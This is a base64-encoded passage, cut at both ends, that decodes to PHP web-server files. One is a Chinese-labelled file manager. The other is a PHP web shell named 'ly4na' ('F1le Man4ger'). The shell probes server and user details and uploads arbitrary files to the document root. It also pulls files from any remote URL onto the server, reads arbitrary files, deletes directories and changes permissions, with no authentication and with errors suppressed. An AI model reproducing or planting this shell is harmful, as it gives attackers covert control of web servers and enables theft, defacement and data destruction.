VudCkge1xyXG4gICAgJGJhc2UgPSBydHJpbSgkYmFzZSwgJ1wvJyk7XHJcbiAgICAkY3VycmVudCA9IHJ0cmltKCRjdXJyZW50LCAnXC8nKTtcclxuICAgIFxyXG4gICAgJHJlbGF0aXZlID0gc3RyX3JlcGxhY2UoJGJhc2UsICcnLCAkY3VycmVudCk7XHJcbiAgICAkcGFydHMgPSBhcnJheV92YWx1ZXMoYXJyYXlfZmlsdGVyKGV4cGxvZGUoJ1wvJywgJHJlbGF0aXZlKSkpO1xyXG4gICAgXHJcbiAgICAkYnJlYWRjcnVtYiA9ICc8YSBocmVmPVwiP3BhdGg9XC9cIj5cdWQ4M2NcdWRmZTAgXHU2ODM5XHU3NmVlXHU1ZjU1PFwvYT4nO1xyXG4gICAgJGFjY3VtX3BhdGggPSAnJztcclxuICAgIFxyXG4gICAgZm9yZWFjaCgkcGFydHMgYXMgJGluZGV4ID0+ICRwYXJ0KXtcclxuICAgICAgICAkYWNjdW1fcGF0aCAuPSAnXC8nIC4gJHBhcnQ7XHJcbiAgICAgICAgJGVuY29kZWRfcGF0aCA9IHVybGVuY29kZSgkYWNjdW1fcGF0aCk7XHJcbiAgICAgICAgJGJyZWFkY3J1bWIgLj0gXCIgXC8gPGEgaHJlZj1cXFwiP3BhdGg9eyRlbmNvZGVkX3BhdGh9XFxcIj5cIi5odG1sc3BlY2lhbGNoYXJzKCRwYXJ0KS5cIjxcL2E+XCI7XHJcbiAgICB9XHJcbiAgICBcclxuICAgIHJldHVybiAnPGRpdiBjbGFzcz1cImJyZWFkY3J1bWJcIj4nLiRicmVhZGNydW1iLic8XC9kaXY+JztcclxufVxyXG5cclxuJGl0ZW1zID0gYXJyYXlfZGlmZihzY2FuZGlyKCRjdXJyZW50X3BhdGgpLCBbJy4nLCAnLi4nXSk7XHJcbiRmb2xkZXJzID0gW107XHJcbiRmaWxlcyA9IFtdO1xyXG5cclxuZm9yZWFjaCgkaXRlbXMgYXMgJGl0ZW0pe1xyXG4gICAgJGZ1bGxQYXRoID0gJGN1cnJlbnRfcGF0aCAuICdcLycgLiAkaXRlbTtcclxuICAgIGlmKGlzX2RpcigkZnVsbFBhdGgpKXtcclxuICAgICAgICAkZm9sZGVyc1tdID0gW1xyXG4gICAgICAgICAgICAnbmFtZScgPT4gJGl0ZW0sXHJcbiAgICAgICAgICAgICd0eXBlJyA9PiAnZm9sZGVyJyxcclxuICAgICAgICAgICAgJ210aW1lJyA9PiBmaWxlbXRpbWUoJGZ1bGxQYXRoKVxyXG4gICAgICAgIF07XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgICRmaWxlc1tdID0gW1xyXG4gICAgICAgICAgICAnbmFtZScgPT4gJGl0ZW0sXHJcbiAgICAgICAgICAgICd0eXBlJyA9PiAnZmlsZScsXHJcbiAgICAgICAgICAgICdzaXplJyA9PiBmaWxlc2l6ZSgkZnVsbFBhdGgpLFxyXG4gICAgICAgICAgICAnbXRpbWUnID0+IGZpbGVtdGltZSgkZnVsbFBhdGgpXHJcbiAgICAgICAgXTtcclxuICAgIH1cclxufVxyXG5cclxuXHJcbnVzb3J0KCRmb2xkZXJzLCBmbigkYSwgJGIpID0+IHN0cmNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKSk7XHJcbnVzb3J0KCRmaWxlcywgZm4oJGEsICRiKSA9PiBzdHJjbXAoJGFbJ25hbWUnXSwgJGJbJ25hbWUnXSkpO1xyXG5cclxuXHJcbiRzb3J0ZWRJdGVtcyA9IGFycmF5X21lcmdlKCRmb2xkZXJzLCAkZmlsZXMpO1xyXG4/PlxyXG5cclxuPCFET0NUWVBFIGh0bWw+XHJcbjxodG1sPlxyXG48aGVhZD5cclxuICAgIDx0aXRsZT5maWxlbWFuYWdlPFwvdGl0bGU+XHJcbiAgICA8c3R5bGU+XHJcbiAgICAgICAgdGFibGUgeyBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyB3aWR0aDogMTAwJTsgfVxyXG4gICAgICAgIHRoLCB0ZCB7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IHBhZGRpbmc6IDhweDsgfVxyXG4gICAgICAgIC5mb2xkZXIgeyBiYWNrZ3JvdW5kOiAjZjBmOGZmOyB9XHJcbiAgICAgICAgYSB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6ICMwNmM7IH1cclxuICAgICAgICBhOmhvdmVyIHsgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IH1cclxuLmJyZWFkY3J1bWIge1xyXG4gICAgcGFkZGluZzogMTJweDtcclxuICAgIGJhY2tncm91bmQ6ICNmOGY5ZmE7XHJcbiAgICBib3JkZXItcmFkaXVzOiA0cHg7XHJcbiAgICBtYXJnaW4tYm90dG9tOiAyMHB4O1xyXG59XHJcbi5icmVhZGNydW1iIGEge1xyXG4gICAgY29sb3I6ICMwMDdiZmY7XHJcbiAgICB0cmFuc2l0aW9uOiBjb2xvciAwLjJzO1xyXG59XHJcbi5icmVhZGNydW1iIGE6aG92ZXIge1xyXG4gICAgY29sb3I6ICMwMDU2YjM7XHJcbiAgICB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTtcclxufVxyXG4gICAgICAgIC5mb3JtLWdyb3VwIHtcclxuICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTVweDtcclxuICAgICAgICB9XHJcbiAgICAgICAgaW5wdXRbdHlwZT1cInRleHRcIl0ge1xyXG4gICAgICAgICAgICB3aWR0aDogMTAwJTtcclxuICAgICAgICAgICAgcGFkZGluZzogOHB4O1xyXG4gICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xyXG4gICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIGlucHV0W3R5cGU9XCJzdWJtaXRcIl0ge1xyXG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNENBRjUwO1xyXG4gICAgICAgICAgICBjb2xvcjogd2hpdGU7XHJcbiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMjBweDtcclxuICAgICAgICAgICAgYm9yZGVyOiBub25lO1xyXG4gICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7XHJcbiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjtcclxuICAgICAgICB9XHJcbiAgICA8XC9zdHlsZT5cclxuPFwvaGVhZD5cclxuPGJvZHk+XHJcbiAgICA8Zm9ybSBtZXRob2Q9XCJwb3N0XCI+XHJcbiAgICAgICAgPGRpdiBjbGFzcz1cImZvcm0tZ3JvdXBcIj5cclxuXHRcdFx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPSdjdXJkaXInIHZhbHVlPSc8P3BocCBlY2hvICRjdXJyZW50X3BhdGg7Pz4nIFwvPlxyXG5cdFx0XHQ8dGV4dGFyZWEgaWQ9XCJjb250ZW50XCIgbmFtZT1cImNvbnRlbnRcIiByZXF1aXJlZCBzdHlsZT1cIndpZHRoOjgwMHB4OyBoZWlnaHQ6MjAwcHg7XCI+PFwvdGV4dGFyZWE+XHJcbiAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdDFcIiB2YWx1ZT1cIlx1NjNkMFx1NGVhNFwiPlxyXG4gICAgPFwvZm9ybT5cclxuICAgIDxoMj48Pz0gZ2V0X2NsaWNrYWJsZV9icmVhZGNydW1iKEJBU0VfRElSLCRjdXJyZW50X3BhdGgpID8+PFwvaDI+XHJcbiAgICBcclxuICAgIDx0YWJsZT5cclxuICAgICAgICA8dHI+XHJcbiAgICAgICAgICAgIDx0aD5cdTU0MGRcdTc5ZjA8XC90aD5cclxuICAgICAgICAgICAgPHRoPlx1N2M3Ylx1NTc4YjxcL3RoPlxyXG4gICAgICAgICAgICA8dGg+XHU1OTI3XHU1YzBmPFwvdGg+XHJcbiAgICAgICAgICAgIDx0aD5cdTRmZWVcdTY1MzlcdTY1ZjZcdTk1ZjQ8XC90aD5cclxuICAgICAgICA8XC90cj5cclxuICAgICAgICA8P3BocCBmb3JlYWNoKCRzb3J0ZWRJdGVtcyBhcyAkaXRlbSk6ID8+XHJcbiAgICAgICAgPHRyIGNsYXNzPVwiPD89ICRpdGVtWyd0eXBlJ10gPT09ICdmb2xkZXInID8gJ2ZvbGRlcicgOiAnJyA/PlwiPlxyXG4gICAgICAgICAgICA8dGQ+XHJcbiAgICAgICAgICAgICAgICA8P3BocCBpZigkaXRlbVsndHlwZSddID09PSAnZm9sZGVyJyk6ID8+XHJcbiAgICAgICAgICAgICAgICAgICAgXHVkODNkXHVkY2MxIDxhIGhyZWY9XCI/cGF0aD08Pz0gXHJcbiAgICAgICAgICAgICAgICAgICAgICAgIHVybGVuY29kZShzdHJfcmVwbGFjZShCQVNFX0RJUiwgJycsICRjdXJyZW50X3BhdGgpIC4gJ1wvJyAuICRpdGVtWyduYW1lJ10pIFxyXG4gICAgICAgICAgICAgICAgICAgID8+XCI+PD89IGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSkgPz48XC9hPlxyXG4gICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz5cclxuICAgICAgICAgICAgICAgICAgICBcdWQ4M2RcdWRjYzQgPD89IGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSkgPz5cclxuICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxyXG4gICAgICAgICAgICA8XC90ZD5cclxuICAgICAgICAgICAgPHRkPjw/PSAkaXRlbVsndHlwZSddID09PSAnZm9sZGVyJyA/ICdcdTY1ODdcdTRlZjZcdTU5MzknIDogJ1x1NjU4N1x1NGVmNicgPz48XC90ZD5cclxuICAgICAgICAgICAgPHRkPjw/PSAkaXRlbVsndHlwZSddID09PSAnZmlsZScgPyBudW1iZXJfZm9ybWF0KCRpdGVtWydzaXplJ11cLzEwMjQsIDMpLicgS0InIDogJy0nID8+PFwvdGQ+XHJcbiAgICAgICAgICAgIDx0ZD48Pz0gZGF0ZSgnWS1tLWQgSDppOnMnLCAkaXRlbVsnbXRpbWUnXSkgPz48XC90ZD5cclxuICAgICAgICA8XC90cj5cclxuICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/PlxyXG4gICAgPFwvdGFibGU+XHJcbjxcL2JvZHk+XHJcbjxcL2h0bWw+XHJcbiIsIjwhRE9DVFlQRSBodG1sPlxyXG48aHRtbD5cclxuPGhlYWQ+XHJcblx0PHRpdGxlPmx5NG5hPFwvdGl0bGU+XHJcbjxcL2hlYWQ+XHJcbjxib2R5IGJnY29sb3I9XCIjMWYxZjFmXCIgdGV4dD1cIiNmZmZmZmZcIj5cclxuPGxpbmsgaHJlZj1cIlwiIHJlbD1cInN0eWxlc2hlZXRcIiB0eXBlPVwidGV4dFwvY3NzXCI+XHJcbjxzdHlsZT5cclxuXHRAaW1wb3J0IHVybCgnaHR0cHM6XC9cL2ZvbnRzLmdvb2dsZWFwaXMuY29tXC9jc3M/ZmFtaWx5PURvc2lzJyk7XHJcblx0QGltcG9ydCB1cmwoJ2h0dHBzOlwvXC9mb250cy5nb29nbGVhcGlzLmNvbVwvY3NzP2ZhbWlseT1CdW5nZWUnKTtcclxuYm9keSB7XHJcblx0Zm9udC1mYW1pbHk6IFwiRG9zaXNcIiwgY3Vyc2l2ZTtcclxuXHR0ZXh0LXNoYWRvdzowcHggMHB4IDFweCAjNzU3NTc1O1xyXG59XHJcblxyXG4jY29udGVudCB0cjpob3ZlciB7XHJcblx0YmFja2dyb3VuZC1jb2xvcjogIzYzNjI2MztcclxuXHR0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtcclxufVxyXG5cclxuI2NvbnRlbnQgLmZpcnN0IHtcclxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjMjUzODNDO1xyXG59XHJcblxyXG4jY29udGVudCAuZmlyc3Q6aG92ZXIge1xyXG5cdGJhY2tncm91bmQtY29sb3I6ICMyNTM4M0NcclxuXHR0ZXh0LXNoYWRvdzowcHggMHB4IDFweCAjNzU3NTc1O1xyXG59XHJcblxyXG50YWJsZSB7XHJcblx0Ym9yZGVyOiAxcHggIzAwMDAwMCBkb3R0ZWQ7XHJcblx0dGFibGUtbGF5b3V0OiBmaXhlZDtcclxufVxyXG5cclxudGQge1xyXG5cdHdvcmQtd3JhcDogYnJlYWstd29yZDtcclxufVxyXG5cclxuYSB7XHJcblx0Y29sb3I6ICNmZmZmZmY7XHJcblx0dGV4dC1kZWNvcmF0aW9uOiBub25lO1xyXG59XHJcblxyXG5hOmhvdmVyIHtcclxuXHRjb2xvcjogIzAwMDAwMDtcclxuXHR0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZmZmZjtcclxufVxyXG5cclxuaW5wdXQsc2VsZWN0LHRleHRhcmVhIHtcclxuXHRib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkO1xyXG5cdC1tb3otYm9yZGVyLXJhZGl1czogNXB4O1xyXG5cdC13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7XHJcblx0Ym9yZGVyLXJhZGl1czo1cHg7XHJcbn1cclxuXHJcbi5nYXMge1xyXG5cdGJhY2tncm91bmQtY29sb3I6ICMxZjFmMWY7XHJcblx0Y29sb3I6ICNmZmZmZmY7XHJcblx0Y3Vyc29yOiBwb2ludGVyO1xyXG59XHJcblxyXG5zZWxlY3Qge1xyXG5cdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xyXG5cdGNvbG9yOiAjZmZmZmZmO1xyXG59XHJcblxyXG5zZWxlY3Q6YWZ0ZXIge1xyXG5cdGN1cnNvcjogcG9pbnRlcjtcclxufVxyXG5cclxuLmxpbmthIHtcclxuXHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcclxuXHRjb2xvcjogI2ZmZmZmZjtcclxufVxyXG5cclxuLnVwIHtcclxuXHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcclxuXHRjb2xvcjogI2ZmZjtcclxufVxyXG5cclxub3B0aW9uIHtcclxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjMWYxZjFmO1xyXG59XHJcblxyXG46Oi13ZWJraXQtZmlsZS11cGxvYWQtYnV0dG9uIHtcclxuICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcclxuICBjb2xvcjogI2ZmZjtcclxuICBib3JkZXItY29sb3I6ICNmZmY7XHJcbiAgY3Vyc29yOiBwb2ludGVyO1xyXG59XHJcbjxcL3N0eWxlPlxyXG48Y2VudGVyPlxyXG48dGFibGUgd2lkdGg9XCI3MDBcIiBib3JkZXI9XCIwXCIgY2VsbHBhZGRpbmc9XCIzXCIgY2VsbHNwYWNpbmc9XCIxXCIgYWxpZ249XCJjZW50ZXJcIj5cclxuPHRyPjx0ZD5cclxuPGJyPlxyXG48P3BocFxyXG5zZXRfdGltZV9saW1pdCgwKTtcclxuZXJyb3JfcmVwb3J0aW5nKDApO1xyXG4kZGlzZnVuYyA9IEBpbmlfZ2V0KFwiZGlzYWJsZV9mdW5jdGlvbnNcIik7XHJcbmlmIChlbXB0eSgkZGlzZnVuYykpIHtcclxuXHQkZGlzZiA9IFwiPGZvbnQgY29sb3I9J2dvbGQnPk5PTkU8XC9mb250PlwiO1xyXG59IGVsc2Uge1xyXG5cdCRkaXNmID0gXCI8Zm9udCBjb2xvcj0ncmVkJz5cIi4kZGlzZnVuYy5cIjxcL2ZvbnQ+XCI7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGF1dGhvcigpIHtcclxuXHRlY2hvIFwiPGNlbnRlcj48YnI+RjFsZSBNYW40Z2VyPFwvY2VudGVyPlwiO1xyXG5cdGV4aXQoKTtcclxufVxyXG5cclxuZnVuY3Rpb24gY2VrZGlyKCkge1xyXG5cdGlmIChpc3NldCgkX0dFVFsncGF0aCddKSkge1xyXG5cdFx0JGxva2FzaSA9ICRfR0VUWydwYXRoJ107XHJcblx0fSBlbHNlIHtcclxuXHRcdCRsb2thc2kgPSBnZXRjd2QoKTtcclxuXHR9XHJcblx0aWYgKGlzX3dyaXRhYmxlKCRsb2thc2kpKSB7XHJcblx0XHRyZXR1cm4gXCI8Zm9udCBjb2xvcj0nZ3JlZW4nPldyaXRlYWJsZTxcL2ZvbnQ+XCI7XHJcblx0fSBlbHNlIHtcclxuXHRcdHJldHVybiBcIjxmb250IGNvbG9yPSdyZWQnPldyaXRlYWJsZTxcL2ZvbnQ+XCI7XHJcblx0fVxyXG59XHJcblxyXG5mdW5jdGlvbiBjZWtyb290KCkge1xyXG5cdGlmIChpc193cml0YWJsZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKSkge1xyXG5cdFx0cmV0dXJuIFwiPGZvbnQgY29sb3I9J2dyZWVuJz5Xcml0ZWFibGU8XC9mb250PlwiO1xyXG5cdH0gZWxzZSB7XHJcblx0XHRyZXR1cm4gXCI8Zm9udCBjb2xvcj0ncmVkJz5Xcml0ZWFibGU8XC9mb250PlwiO1xyXG5cdH1cclxufVxyXG5cclxuZnVuY3Rpb24geHJtZGlyKCRkaXIpIHtcclxuICAgICRpdGVtcyA9IHNjYW5kaXIoJGRpcik7XHJcbiAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHtcclxuICAgICAgICBpZiAoJGl0ZW0gPT09ICcuJyB8fCAkaXRlbSA9PT0gJy4uJykge1xyXG4gICAgICAgICAgICBjb250aW51ZTtcclxuICAgICAgICB9XHJcbiAgICAgICAgJHBhdGggPSAkZGlyLidcLycuJGl0ZW07XHJcbiAgICAgICAgaWYgKGlzX2RpcigkcGF0aCkpIHtcclxuICAgICAgICAgICAgeHJtZGlyKCRwYXRoKTtcclxuICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICB1bmxpbmsoJHBhdGgpO1xyXG4gICAgICAgIH1cclxuICAgIH1cclxuICAgIHJtZGlyKCRkaXIpO1xyXG59XHJcblxyXG5mdW5jdGlvbiBncmVlbigkdGV4dCkge1xyXG5cdGVjaG8gXCI8Y2VudGVyPjxmb250IGNvbG9yPSdncmVlbic+XCIuJHRleHQuXCI8XC9jZW50ZXI+PFwvZm9udD5cIjtcclxufVxyXG5cclxuZnVuY3Rpb24gcmVkKCR0ZXh0KSB7XHJcblx0ZWNobyBcIjxjZW50ZXI+PGZvbnQgY29sb3I9J3JlZCc+XCIuJHRleHQuXCI8XC9jZW50ZXI+PFwvZm9udD5cIjtcclxufVxyXG5cclxuZWNobyBcIlNlcnZlciA6IDxmb250IGNvbG9yPSdnb2xkJz5cIi4kX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10uXCI8XC9mb250Pjxicj5cIjtcclxuZWNobyBcIlN5c3RlbSA6IDxmb250IGNvbG9yPSdnb2xkJz5cIi5waHBfdW5hbWUoKS5cIjxcL2ZvbnQ+PGJyPlwiO1xyXG5lY2hvIFwiVXNlciA6IDxmb250IGNvbG9yPSdnb2xkJz5cIi5AZ2V0X2N1cnJlbnRfdXNlcigpLlwiJm5ic3A7PFwvZm9udD4oIDxmb250IGNvbG9yPSdnb2xkJz5cIi5AZ2V0bXl1aWQoKS5cIjxcL2ZvbnQ+KTxicj5cIjtcclxuZWNobyBcIlBIUCBWZXJzaW9uIDogPGZvbnQgY29sb3I9J2dvbGQnPlwiLkBwaHB2ZXJzaW9uKCkuXCI8XC9mb250Pjxicj5cIjtcclxuZWNobyBcIkRpc2FibGUgRnVuY3Rpb24gOiBcIi4kZGlzZi5cIjxcL2ZvbnQ+PGJyPlwiO1xyXG5lY2hvIFwiRGlyZWN0b3J5IDogJm5ic3A7XCI7XHJcblxyXG5mb3JlYWNoKCRfUE9TVCBhcyAka2V5ID0+ICR2YWx1ZSl7XHJcblx0JF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7XHJcbn1cclxuXHJcbmlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXtcclxuXHQkbG9rYXNpID0gJF9HRVRbJ3BhdGgnXTtcclxuXHQkbG9rZHVhID0gJF9HRVRbJ3BhdGgnXTtcclxufSBlbHNlIHtcclxuXHQkbG9rYXNpID0gZ2V0Y3dkKCk7XHJcblx0JGxva2R1YSA9IGdldGN3ZCgpO1xyXG59XHJcblxyXG4kbG9rYXNpID0gc3RyX3JlcGxhY2UoJ1xcXFwnLCdcLycsJGxva2FzaSk7XHJcbiRsb2thc2lzID0gZXhwbG9kZSgnXC8nLCRsb2thc2kpO1xyXG4kbG9rYXNpbnlhID0gQHNjYW5kaXIoJGxva2FzaSk7XHJcblxyXG5mb3JlYWNoKCRsb2thc2lzIGFzICRpZCA9PiAkbG9rKXtcclxuXHRpZigkbG9rID09ICcnICYmICRpZCA9PSAwKXtcclxuXHRcdCRhID0gdHJ1ZTtcclxuXHRcdGVjaG8gJzxhIGhyZWY9XCI/cGF0aD1cL1wiPlwvPFwvYT4nO1xyXG5cdFx0Y29udGludWU7XHJcblx0fVxyXG5cdGlmKCRsb2sgPT0gJycpIGNvbnRpbnVlO1xyXG5cdGVjaG8gJzxhIGhyZWY9XCI/cGF0aD0nO1xyXG5cdGZvcigkaT0wOyRpPD0kaWQ7JGkrKyl7XHJcblx0ZWNobyBcIiRsb2thc2lzWyRpXVwiO1xyXG5cdGlmKCRpICE9ICRpZCkgZWNobyBcIlwvXCI7XHJcbn0gXHJcbmVjaG8gJ1wiPicuJGxvay4nPFwvYT5cLyc7XHJcbn1cclxuZWNobyAnPGNlbnRlcj4nO1xyXG5lY2hvICc8XC90ZD48XC90cj48dHI+PHRkPjxicj4nO1xyXG5pZiAoaXNzZXQoJF9QT1NUWyd1cHdrd2snXSkpIHtcclxuXHRpZiAoaXNzZXQoJF9QT1NUWydiZXJrYXNueWEnXSkpIHtcclxuXHRcdGlmICgkX1BPU1RbJ2Rpcm55YSddID09IFwiMlwiKSB7XHJcblx0XHRcdCRsb2thc2kgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddO1xyXG5cdFx0fVxyXG5cdFx0JGRhdGEgPSBAZmlsZV9wdXRfY29udGVudHMoJGxva2FzaS5cIlwvXCIuJF9GSUxFU1snYmVya2FzJ11bJ25hbWUnXSwgQGZpbGVfZ2V0X2NvbnRlbnRzKCRfRklMRVNbJ2JlcmthcyddWyd0bXBfbmFtZSddKSk7XHJcblx0XHRpZiAoZmlsZV9leGlzdHMoJGxva2FzaS5cIlwvXCIuJF9GSUxFU1snYmVya2FzJ11bJ25hbWUnXSkpIHtcclxuXHRcdFx0ZWNobyBcIkZpbGUgVXBsb2FkZWQgISAmbmJzcDs8Zm9udCBjb2xvcj0nZ29sZCc+PGk+XCIuJGxva2FzaS5cIlwvXCIuJF9GSUxFU1snYmVya2FzJ11bJ25hbWUnXS5cIjxcL2k+PFwvZm9udD48YnI+PGJyPlwiO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0ZWNobyBcIjxmb250IGNvbG9yPSdyZWQnPkZhaWxlZCB0byBVcGxvYWQgITxicj48YnI+XCI7XHJcblx0XHR9XHJcblx0fSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsnbGlua255YSddKSkge1xyXG5cdFx0aWYgKGVtcHR5KCRfUE9TVFsnbmFtYWxpbmsnXSkpIHtcclxuXHRcdFx0ZXhpdChcIkZpbGVuYW1lIGNhbm5vdCBiZSBlbXB0eSAhXCIpO1xyXG5cdFx0fVxyXG5cdFx0aWYgKCRfUE9TVFsnZGlybnlhJ10gPT0gXCIyXCIpIHtcclxuXHRcdFx0JGxva2FzaSA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107XHJcblx0XHR9XHJcblx0XHQkZGF0YSA9IEBmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLlwiXC9cIi4kX1BPU1RbJ25hbWFsaW5rJ10sIEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ2RhcmlsaW5rJ10pKTtcclxuXHRcdGlmIChmaWxlX2V4aXN0cygkbG9rYXNpLlwiXC9cIi4kX1BPU1RbJ25hbWFsaW5rJ10pKSB7XHJcblx0XHRcdGVjaG8gXCJGaWxlIFVwbG9hZGVkICEgJm5ic3A7PGZvbnQgY29sb3I9J2dvbGQnPjxpPlwiLiRsb2thc2kuXCJcL1wiLiRfUE9TVFsnbmFtYWxpbmsnXS5cIjxcL2k+PFwvZm9udD48YnI+PGJyPlwiO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0ZWNobyBcIjxmb250IGNvbG9lPSdyZWQnPkZhaWxlZCB0byBVcGxvYWQgITxicj48YnI+XCI7XHJcblx0XHR9XHJcblx0fVxyXG59XHJcbmVjaG8gXCI8Y2VudGVyPlwiO1xyXG5lY2hvIFwiVXBsb2FkIEZpbGUgOiBcIjtcclxuZWNobyAnPGZvcm0gZW5jdHlwZT1cIm11bHRpcGFydFwvZm9ybS1kYXRhXCIgbWV0aG9kPVwicG9zdFwiPlxyXG48aW5wdXQgdHlwZT1cInJhZGlvXCIgdmFsdWU9XCIxXCIgbmFtZT1cImRpcm55YVwiIGNoZWNrZWQ+Y3VycmVudF9kaXIgWyAnLmNla2RpcigpLicgXVxyXG48aW5wdXQgdHlwZT1cInJhZGlvXCIgdmFsdWU9XCIyXCIgbmFtZT1cImRpcm55YVwiID5kb2N1bWVudF9yb290IFsgJy5jZWtyb290KCkuJyBdXHJcbjxicj5cclxuPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidXB3a3drXCIgdmFsdWU9XCJhcGxvZFwiPlxyXG48aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwiYmVya2FzXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiYmVya2FzbnlhXCIgdmFsdWU9XCJVcGxvYWRcIiBjbGFzcz1cInVwXCIgc3R5bGU9XCJjdXJzb3I6IHBvaW50ZXI7IGJvcmRlci1jb2xvcjogI2ZmZlwiPjxicj5cclxuPFwvY2VudGVyPlxyXG48XC9mb3JtPic7XHJcbmVjaG8gXCI8XC90YWJsZT48YnI+XCI7XHJcblxyXG5pZiAoaXNzZXQoJF9HRVRbJ2ZpbGVsb2MnXSkpIHtcclxuXHRlY2hvIFwiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiBcIi4kX0dFVFsnZmlsZWxvYyddO1xyXG5cdGVjaG8gJzxcL3RyPjxcL3RkPjxcL3RhYmxlPjxiclwvPic7XHJcblx0ZWNobyBcIjxwcmU+XCIuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZWxvYyddKSkuXCI8XC9wcmU+XCI7XHJcblx0YXV0aG9yKCk7XHJcbn0gZWxzZWlmIChpc3NldCgkX0dFVFsncGlsaWhhbiddKSAmJiAkX1BPU1RbJ3BpbGloJ10gPT0gXCJoYXB1c1wiKSB7XHJcblx0aWYgKGlzX2RpcigkX1BPU1RbJ3BhdGgnXSkpIHtcclxuXHRcdHhybWRpcigkX1BPU1RbJ3BhdGgnXSk7XHJcblx0XHRpZiAoZmlsZV9leGlzdHMoJF9QT1NUWydwYXRoJ10pKSB7XHJcblx0XHRcdHJlZChcIkZhaWxlZCB0byBkZWxldGUgRGlyZWN0b3J5ICFcIik7XHJcblx0XHR9IGVsc2Uge1xyXG5cdFx0XHRncmVlbihcIkRlbGV0ZSBEaXJlY3RvcnkgU3VjY2VzcyAhXCIpO1xyXG5cdFx0XHRlY2hvIFwic3RyaW5nXCI7XHJcblx0XHR9XHJcblx0fSBlbHNlaWYgKGlzX2ZpbGUoJF9QT1NUWydwYXRoJ10pKSB7XHJcblx0XHRAdW5saW5rKCRfUE9TVFsncGF0aCddKTtcclxuXHRcdGlmIChmaWxlX2V4aXN0cygkX1BPU1RbJ3BhdGgnXSkpIHtcclxuXHRcdFx0cmVkKFwiRmFpbGVkIHRvIERlbGV0ZSBGaWxlICFcIik7XHJcblx0XHR9IGVsc2Uge1xyXG5cdFx0XHRncmVlbihcIkRlbGV0ZSBGaWxlIFN1Y2Nlc3MgIVwiKTtcclxuXHRcdH1cclxuXHR9XHJcbn0gZWxzZWlmIChpc3NldCgkX0dFVFsncGlsaWhhbiddKSAmJiAkX1BPU1RbJ3BpbGloJ10gPT0gXCJ1YmFobW9kXCIpIHtcclxuXHRlY2hvIFwiPGNlbnRlcj5cIi4kX1BPU1RbJ3BhdGgnXS5cIjxicj5cIjtcclxuXHRlY2hvICc8Zm9ybSBtZXRob2Q9XCJwb3N0XCI+XHJcblx0UGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPVwicGVybVwiIHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJ1cFwiIHNpemU9XCI0XCIgdmFsdWU9XCInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJ1wiIFwvPlxyXG5cdDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIicuJF9QT1NUWydwYXRoJ10uJ1wiPlxyXG5cdDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBpbGloXCIgdmFsdWU9XCJ1YmFobW9kXCI+XHJcblx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNoYW5nZVwiIG5hbWU9XCJjaG0wZFwiIGNsYXNzPVwidXBcIiBzdHlsZT1cImN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLWNvb